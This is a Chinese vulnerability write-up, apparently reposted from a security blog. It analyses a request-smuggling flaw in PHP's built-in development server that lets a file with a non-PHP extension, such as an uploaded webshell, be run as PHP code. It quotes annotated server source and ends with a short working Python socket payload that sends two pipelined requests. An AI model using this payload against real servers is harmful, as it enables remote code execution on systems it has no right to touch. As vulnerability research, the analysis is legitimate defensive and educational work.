文章总结: 本文深入剖析PHP内置服务器HTTP请求走私漏洞。通过Zend内核层分析,利用解析器单次调用处理多请求时的回调覆盖缺陷,构造连续请求导致path_translated指向非PHP文件而ext指向php,从而绕过静态文件检查执行任意后缀文件内的代码。该漏洞影响PHP7.4.21及以下版本,提供了复现Payload及原理详解。 综合评分: 100 文章分类: 漏洞分析,WEB安全,漏洞POC
 的备份文件会因为扩展名被错误地更新为 .php,而被 PHP 解释器当作脚本执行。</p>
<p>示意图</p>
<p><img decoding=)
漏洞分析
核心结构
请求结构体定义
文件位置:%20sapi/cli/php_cli_server:php_cli_server_request
typedef%20struct%20php_cli_server_request%20{
enum%20php_http_method%20request_method;%20//%20GET,%20POST,%20etc.
int%20protocol_version;%20//%20HTTP版本号
<br/>char%20\*request_uri;%20//%20原始URI
size_t%20request_uri_len;
<br/>char%20\*vpath;%20//%20虚拟路径(从URL解析)
size_t%20vpath_len;
<br/>char%20\*path_translated;%20//%20文件系统路径
size_t%20path_translated_len;%20//%20实际执行的文件
<br/>char%20\*path_info;%20//%20PATH_INFO
size_t%20path_info_len;
<br/>char%20\*query_string;%20//%20查询字符串
size_t%20query_string_len;
<br/>HashTable%20headers;%20//%20HTTP头部
HashTable%20headers_original_case;
<br/>char%20\*content;%20//%20POST数据
size_t%20content_len;
<br/>const%20char%20\*ext;%20//%20扩展名指针
size_t%20ext_len;%20//%20指向vpath内部!
<br/>zend_stat_t%20sb;%20//%20文件状态
}%20php_cli_server_request;
字段说明
-
ext%20是一个指针,指向%20vpath%20字符串的某个位置
-
当%20vpath%20被释放并重新分配时,ext%20会变成悬空指针
-
path_translated%20是独立分配的,只有文件存在时才会更新
客户端
文件:%20sapi/cli/php_cli_server.c:php_cli_server_request
typedef%20struct%20php_cli_server_client%20{
struct%20php_cli_server%20\*server;
php_socket_t%20sock;
struct%20sockaddr%20\*addr;
socklen_t%20addr_len;
char%20\*addr_str;
size_t%20addr_str_len;
php_http_parser%20parser;
unsigned%20int%20request_read:1;
char%20\*current_header_name;
size_t%20current_header_name_len;
unsigned%20int%20current_header_name_allocated:1;
char%20\*current_header_value;
size_t%20current_header_value_len;
enum%20{%20HEADER_NONE=0,%20HEADER_FIELD,%20HEADER_VALUE%20}%20last_header_element;
size_t%20post_read_offset;
php_cli_server_request%20request;
unsigned%20int%20content_sender_initialized:1;
php_cli_server_content_sender%20content_sender;
int%20file_fd;
}%20php_cli_server_client;
问题所在:request%20是一个共享的单例对象,多个%20HTTP%20请求会反复修改同一个%20request%20结构以及没有针对管道化请求的隔离机制
内存状态变化总结
┌─────────────────────────────────────────────────────────┐
│%20php_cli_server_client%20(客户端结构)%20│
├─────────────────────────────────────────────────────────┤
│%20parser:%20\[状态机\]%20│
│%20request_read:%200%20→%201%20(第一个请求完成后)%20│
│%20request:%20───────┐%20│
└──────────────────┼───────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────┐
│%20php_cli_server_request%20(请求对象)%20│
├─────────────────────────────────────────────────────────┤
│%20│
│%20第一个请求完成时:%20│
│%20┌────────────────────────────────────────────┐%20│
│%20│%20vpath:%200x001000%20→ "s3Cr37_f1L3.php.bak" │%20│
│%20│%20└──┐%20│%20│
│%20│%20ext:%200x001012%20──────────────┘%20("bak")%20│%20│
│%20│%20ext_len:%203%20│%20│
│%20│%20│%20│
│%20│%20path_translated:%200x002000%20→%20│%20│
│%20│ "/var/www/s3Cr37_f1L3.php.bak" │%20│
│%20└────────────────────────────────────────────┘%20│
│%20│
│%20第二个请求的%20on_path()%20调用后:%20│
│%20┌────────────────────────────────────────────┐%20│
│%20│%20vpath:%200x001000%20→ "phantom.php" (覆盖)%20│%20│
│%20│%20└──┐%20│%20│
│%20│%20ext:%200x001012%20─────┐%20│%20(悬空指针!)%20│%20│
│%20│%20▼%20▼%20│%20│
│%20│%20(指向已释放的内存或垃圾数据)%20│%20│
│%20│%20│%20│
│%20│%20path_translated:%200x002000%20→%20(未改变!)%20│%20│
│%20│ "/var/www/s3Cr37_f1L3.php.bak" │%20│
│%20└────────────────────────────────────────────┘%20│
│%20│
│%20第二个请求的%20on_message_complete()%20调用后:%20│
│%20┌────────────────────────────────────────────┐%20│
│%20│%20vpath:%200x001000%20→ "phantom.php" │%20│
│%20│%20└──┐%20│%20│
│%20│%20ext:%200x001008%20────────┘%20("php")%20│%20│
│%20│%20ext_len:%203%20│%20│
│%20│%20│%20│
│%20│%20path_translated:%200x002000%20→%20(仍未改变!)%20│%20│
│%20│ "/var/www/s3Cr37_f1L3.php.bak" │%20│
│%20│%20│%20│
│%20│%20类型混淆状态%20│%20│
│%20└────────────────────────────────────────────┘%20│
└─────────────────────────────────────────────────────────┘
请求读取入口
文件:%20sapi/cli/php_cli_server.c:php_cli_server_client_read_request
static%20int%20php_cli_server_client_read_request(
php_cli_server_client%20\*client,
char%20\*\*errstr)
{
char%20buf\[16384\];%20//%2016KB缓冲区,可容纳多个请求
<br/>static%20const%20php_http_parser_settings%20settings%20=%20{
php_cli_server_client_read_request_on_message_begin,
php_cli_server_client_read_request_on_path,%20//%20!
php_cli_server_client_read_request_on_query_string,
php_cli_server_client_read_request_on_url,
php_cli_server_client_read_request_on_fragment,
php_cli_server_client_read_request_on_header_field,
php_cli_server_client_read_request_on_header_value,
php_cli_server_client_read_request_on_headers_complete,
php_cli_server_client_read_request_on_body,
php_cli_server_client_read_request_on_message_complete%20//%20!
};
<br/>size_t%20nbytes_consumed;
int%20nbytes_read;
<br/>//%20【检查点1】:%20如果已读取完成,直接返回
if (client->request_read)%20{
return 1;%20//%20!%20只在函数入口检查一次
}
<br/>//%20【关键操作】:%20从socket读取数据
//%20如果客户端发送了多个请求,可能一次性读入buf
nbytes_read%20=%20recv(client->sock,%20buf,%20sizeof(buf)%20-%201,%200);
if (nbytes_read%20<%200)%20{
//%20错误处理...
int%20err%20=%20php_socket_errno();
if (err%20==%20SOCK_EAGAIN)%20{
return 0;
}
\*errstr%20=%20php_socket_strerror(err,%20NULL,%200);
return -1;
} elseif (nbytes_read%20==%200)%20{
\*errstr%20=%20estrdup(php_cli_server_request_error_unexpected_eof);
return -1;
}
<br/>client->parser.data%20=%20client;
<br/>//%20【漏洞触发点】:%20调用HTTP解析器
//%20这个函数会解析buf中的所有完整请求
//%20每解析完一个请求,都会调用on_message_complete
nbytes_consumed%20=%20php_http_parser_execute(&client->parser,
&settings,
buf,
nbytes_read);
<br/>if (nbytes_consumed%20!=%20(size_t)nbytes_read)%20{
//%20解析错误...
if (buf\[0\]%20&%200x80%20||%20buf\[0\]%20==%200x16)%20{
\*errstr%20=%20estrdup("Unsupported%20SSL%20request");
} else {
\*errstr%20=%20estrdup("Malformed%20HTTP%20request");
}
return -1;
}
<br/>//%20处理当前header...
if (client->current_header_name)%20{
char%20\*header_name%20=%20safe_pemalloc(
client->current_header_name_len,%201,%201,%201);
memmove(header_name,%20client->current_header_name,
client->current_header_name_len);
client->current_header_name%20=%20header_name;
client->current_header_name_allocated%20=%201;
}
<br/>return client->request_read%20?%201%20:%200;
}
问题分析
这个检查只在函数入口执行一次,并且无法阻止%20php_http_parser_execute()%20内部解析多个请求
解析器会处理%20buf%20中的所有完整请求
每遇到%20\r\n\r\n(请求结束标记),就触发%20on_message_complete
路径回调
文件:%20sapi/cli/php_cli_server.c:php_cli_server_client_read_request_on_path
static%20int%20php_cli_server_client_read_request_on_path(
php_http_parser%20\*parser,
const%20char%20\*at,%20//%20指向解析缓冲区中的路径字符串
size_t%20length)%20//%20路径长度
{
php_cli_server_client%20\*client%20=%20parser->data;
{
char%20\*vpath;
size_t%20vpath_len;
<br/>//%20规范化虚拟路径(处理URL编码、相对路径等)
normalize_vpath(&vpath,%20&vpath_len,%20at,%20length,%201);
<br/>//%20漏洞点:%20无条件覆盖
//%20问题1:%20没有检查client->request_read标志
//%20问题2:%20直接覆盖指针,导致ext成为悬空指针
//%20问题3:%20没有释放旧的vpath内存(normalize_vpath内部会处理)
client->request.vpath%20=%20vpath;
client->request.vpath_len%20=%20vpath_len;
}
return 0;
}
路径翻译函数
文件:%20sapi/cli/php_cli_server.c:php_cli_server_request_translate_vpath
这个函数有一百多行,就简化逻辑展示了,感兴趣的师傅可以自己去阅读源码
static%20void%20php_cli_server_request_translate_vpath(
php_cli_server_request%20\*request,
const%20char%20\*document_root,
size_t%20document_root_len)
{
zend_stat_t%20sb;
static%20const%20char%20\*index_files\[\]%20=%20{ "index.php", "index.html",%20NULL%20};
<br/>//%20分配缓冲区并构建完整路径
char%20\*buf%20=%20safe_pemalloc(1,%20request->vpath_len,
1%20+%20document_root_len%20+%201%20+%20sizeof("index.html"),%201);
char%20\*p%20=%20buf,%20\*prev_path%20=%20NULL,%20\*q,%20\*vpath;
size_t%20prev_path_len%20=%200;
int%20is_static_file%20=%200;
<br/>//%20拼接路径:%20document_root%20+%20vpath
memmove(p,%20document_root,%20document_root_len);
p%20+=%20document_root_len;
vpath%20=%20p;
<br/>if (request->vpath_len%20>%200%20&&%20request->vpath\[0\]%20!= '/')%20{
\*p++%20=%20DEFAULT_SLASH;
}
<br/>//%20检查vpath中是否包含'.'(判断是否为静态文件)
q%20=%20request->vpath%20+%20request->vpath_len;
while (q%20>%20request->vpath)%20{
if (\*q--%20== '.')%20{
is_static_file%20=%201;
break;
}
}
<br/>memmove(p,%20request->vpath,%20request->vpath_len);
<br/>#ifdef PHP_WIN32
//%20Windows:%20转换路径分隔符
q%20=%20p%20+%20request->vpath_len;
do {
if (\*q%20== '/')%20{
\*q%20= '\\\\';
}
} while (q--%20>%20p);
#endif
<br/>p%20+=%20request->vpath_len;
\*p%20= '\\0';
q%20=%20p;
<br/>//%20【关键循环】:%20尝试stat文件
while (q%20>%20buf)%20{
//%20尝试stat文件
if (!php_sys_stat(buf,%20&sb))%20{
//%20文件存在
if (sb.st_mode%20&%20S_IFDIR)%20{
//%20如果是目录,尝试查找index文件
const%20char%20\*\*file%20=%20index_files;
if (q\[-1\]%20!=%20DEFAULT_SLASH)%20{
\*q++%20=%20DEFAULT_SLASH;
}
while (\*file)%20{
size_t%20l%20=%20strlen(\*file);
memmove(q,%20\*file,%20l%20+%201);
if (!php_sys_stat(buf,%20&sb)%20&&%20(sb.st_mode%20&%20S_IFREG))%20{
q%20+=%20l;
break;
}
file++;
}
if (!\*file%20||%20is_static_file)%20{
//%20没找到索引文件或是静态文件
if (prev_path)%20{
pefree(prev_path,%201);
}
pefree(buf,%201);
//%20【关键点】:%20直接返回,不设置path_translated
return;
}
}
//%20找到普通文件,跳出循环
break;
}
<br/>//%20【关键点】:%20文件不存在的处理
//%20如果文件不存在,这里会尝试去掉最后一个路径组件
//%20但对于简单的文件名(如phantom.php),会直接跳出while循环
//%20然后在函数末尾,如果sb未被设置(文件不存在),
//%20path_translated可能不会被更新
<br/>if (prev_path)%20{
pefree(prev_path,%201);
\*q%20=%20DEFAULT_SLASH;
}
while (q%20>%20buf%20&&%20\*(--q)%20!=%20DEFAULT_SLASH);
prev_path_len%20=%20p%20-%20q;
prev_path%20=%20pestrndup(q,%20prev_path_len,%201);
\*q%20= '\\0';
}
<br/>//%20设置path_info和path_translated
if (prev_path)%20{
request->path_info_len%20=%20prev_path_len;
#ifdef PHP_WIN32
while (prev_path_len--)%20{
if (prev_path\[prev_path_len\]%20== '\\\\')%20{
prev_path\[prev_path_len\]%20= '/';
}
}
#endif
request->path_info%20=%20prev_path;
pefree(request->vpath,%201);
request->vpath%20=%20pestrndup(vpath,%20q%20-%20vpath,%201);
request->vpath_len%20=%20q%20-%20vpath;
request->path_translated%20=%20buf;
request->path_translated_len%20=%20q%20-%20buf;
} else {
pefree(request->vpath,%201);
request->vpath%20=%20pestrndup(vpath,%20q%20-%20vpath,%201);
request->vpath_len%20=%20q%20-%20vpath;
<br/>//%20这里设置path_translated
//%20但如果上面的stat失败了,可能buf指向的是document_root
//%20或者根本没有执行到这里(提前return了)
request->path_translated%20=%20buf;
request->path_translated_len%20=%20q%20-%20buf;
}
<br/>#ifdef PHP_WIN32
//%20规范化vpath
{
uint32_t%20i%20=%200;
for (;%20i%20<%20request->vpath_len;%20i++)%20{
if (request->vpath\[i\]%20== '\\\\')%20{
request->vpath\[i\]%20= '/';
}
}
}
#endif
<br/>request->sb%20=%20sb;
}
如果第二个请求的文件(phantom.php)不存在,函数会直接%20return,不修改%20path_translated,因此导致%20path_translated%20保持为第一个请求的值
拓展名获取
文件:%20sapi/cli/php_cli_server.c:php_cli_server_client_read_request_on_message_complete
static%20int%20php_cli_server_client_read_request_on_message_complete(php_http_parser%20\*parser)
{
php_cli_server_client%20\*client%20=%20parser->data;
//%20设置协议版本
client->request.protocol_version%20=%20parser->http_major%20\*%20100%20+%20parser->http_minor;
//%20翻译虚拟路径为文件系统路径
php_cli_server_request_translate_vpath(&client->request,%20client->server->document_root,%20client->server->document_root_len);
//%20提取文件扩展名
{
const%20char%20\*vpath%20=%20client->request.vpath,%20\*end%20=%20vpath%20+%20client->request.vpath_len,%20\*p%20=%20end;
client->request.ext%20=%20end;
//%20默认设置:无扩展名
client->request.ext_len%20=%200;
//%20从后向前查找最后一个'.'
while (p%20>%20vpath)%20{
\--p;
if (\*p%20== '.')%20{
++p;
//%20设置ext指针指向vpath内部
//%20问题:%20ext是一个普通指针,直接指向vpath的某个位置
//%20当vpath被释放或重新分配时,ext会成为悬空指针
client->request.ext%20=%20p;
client->request.ext_len%20=%20end%20-%20p;
break;
}
}
}
//%20标记请求已读取
//%20问题:%20这个标志的设置"太晚"了
//%20解析器在同一次php_http_parser_execute调用中,
//%20还会继续处理buffer中的剩余数据(第二个请求)
client->request_read%20=%201;
return 0;
}
执行流程
第一个请求完成时:
┌──────────────────────────────────┐
│%20vpath%20= "s3Cr37_f1L3.php.bak" │%20(地址:%200x1000)
│%20│%20│
│%20▼%20│
│%20ext%20指向%20vpath\[18\]%20= "bak" │%20(地址:%200x1012)
│%20ext_len%20=%203%20│
└──────────────────────────────────┘
<br/>第二个请求的on_path调用后:
┌──────────────────────────────────┐
│%20旧vpath被释放:%200x1000%20│
│%20新vpath分配: "phantom.php" │%20(地址:%20可能是0x1000或其他)
│%20│
│%20ext%20=%200x1012%20悬空指针!%20│
└──────────────────────────────────┘
<br/>第二个请求的on_message_complete调用后:
┌──────────────────────────────────┐
│%20vpath%20= "phantom.php" │%20(地址:%200x1000)
│%20│%20│
│%20▼%20│
│%20ext%20指向%20vpath\[8\]%20= "php" │%20(地址:%200x1008)
│%20ext_len%20=%203%20│
└──────────────────────────────────┘
分发判断
文件:%20sapi/cli/php_cli_server.c:php_cli_server_dispatch
static%20int%20php_cli_server_dispatch(php_cli_server%20\*server,%20php_cli_server_client%20\*client)%20/\*%20{{{%20\*/
{
int%20is_static_file%20=%200;
<br/>SG(server_context)%20=%20client;
//%20通过ext和path_translated来判断文件类型
if (client->request.ext_len%20!=%203%20||%20memcmp(client->request.ext, "php",%203)%20||%20!client->request.path_translated)%20{
//%20条件1:%20扩展名长度|%20条件2:%20扩展名内容%20|%20条件3:%20路径有效性
is_static_file%20=%201;
}
//%20如果有路由器或不是静态文件,初始化PHP请求
if (server->router%20||%20!is_static_file)%20{
if (FAILURE%20==%20php_cli_server_request_startup(server,%20client))%20{
SG(server_context)%20=%20NULL;
php_cli_server_close_connection(server,%20client);
destroy_request_info(&SG(request_info));
return SUCCESS;
}
}
//%20如果配置了路由器脚本,先执行
if (server->router)%20{
if (!php_cli_server_dispatch_router(server,%20client))%20{
php_cli_server_request_shutdown(server,%20client);
return SUCCESS;
}
}
//%20根据is_static_file标志决定处理方式
if (!is_static_file)%20{
//%20当作PHP脚本执行
//%20使用path_translated作为脚本路径
if (SUCCESS%20==%20php_cli_server_dispatch_script(server,%20client)
||%20SUCCESS%20!=%20php_cli_server_send_error_page(server,%20client,%20500))%20{
if (SG(sapi_headers).http_response_code%20==%20304)%20{
SG(sapi_headers).send_default_content_type%20=%200;
}
php_cli_server_request_shutdown(server,%20client);
return SUCCESS;
}
} else {
//%20当作静态文件处理
if (server->router)%20{
static%20int%20(\*send_header_func)(sapi_headers_struct%20\*);
send_header_func%20=%20sapi_module.send_headers;
/\* do not%20generate%20default%20content type header%20\*/
SG(sapi_headers).send_default_content_type%20=%200;
/\*%20we%20don't%20want%20headers%20to%20be%20sent%20\*/
sapi_module.send_headers%20=%20sapi_cli_server_discard_headers;
php_request_shutdown(0);
sapi_module.send_headers%20=%20send_header_func;
SG(sapi_headers).send_default_content_type%20=%201;
SG(rfc1867_uploaded_files)%20=%20NULL;
}
if%20(SUCCESS%20!=%20php_cli_server_begin_send_static(server,%20client))%20{
php_cli_server_close_connection(server,%20client);
}
SG(server_context)%20=%20NULL;
return%20SUCCESS;
}
<br/>SG(server_context)%20=%20NULL;
destroy_request_info(&SG(request_info));
return%20SUCCESS;
}
攻击者发送两个连续请求(如 GET%20/shell.jpg 紧接 GET /phantom.php)
利用 PHP Built-in Server 在 php_http_parser_execute() 单次调用中处理多请求时的状态分裂缺陷:第一个请求让 translate_vpath() (line 1350) 检测到 shell.jpg 存在后设置 path_translated = "/path/to/shell.jpg";第二个请求因 phantom.php 不存在导致 translate_vpath() 在 line 1448 提前返回而不更新 path_translated,但 extract_extension() (line 1696) 仍从新的 vpath 提取并更新 ext = "php";
最终 dispatch() (line 2141) 在 line 2301检查if (ext_len != 3 || memcmp(ext, "php", 3) || !path_translated)时发现三个条件全部不满足(ext_len=3 且 ext="php" 且 path_translated 非空),导致is_static_file = 0,服务器误判将 path_translated 指向的 .jpg 静态文件当作PHP脚本执行——关键在于第一个文件(任意三字符后缀的后门文件,必须存在)的处理方式由第二个文件(.php 结尾,不需要存在)的扩展名决定,当第二个请求的 ext被识别为 “php” 时,is_static_file 被设为 0,触发 php_cli_server_dispatch_script() 将第一个请求的静态文件作为 PHP 代码执行。
影响范围
版本
PHP<= 7 . 4 . 21
利用条件
- 目标使用 php -S 启动的内置服务器
- web目录可上传,或者存在任意三字符后缀的webshell文件
利用payload
在python的终端中输入
import socket
p=b"GET /test.jpg HTTP/1.1\\r\\nHost: 127.0.0.1\\r\\n\\r\\nPOST /x.php HTTP/1.1\\r\\nHost: 127.0.0.1\\r\\nContent-Length: 0\\r\\n\\r\\n"
s=socket.socket()
s.connect(("127.0.0.1",8888))
s.send(p)
print(s.recv(4096).decode())
往期推荐
重庆_网安一家亲
【漏洞情报】【0day】织梦DedeCMS 0click劫持导致的前台rce getshell
【转载】复盘2025:在WAF的缝隙里开出花来(附EDU通杀0DayPOC)
【相关分享】PHP反序列化的万字简单总结
快手牛逼
文稿 | Ph@nt0m
制作 | Xuan8a1
审发 | 隼目安全
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:隼目安全 隼目安全 隼目安全《【漏洞情报】从php Zend 内核层分析PHP built-in server http请求走私漏洞》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论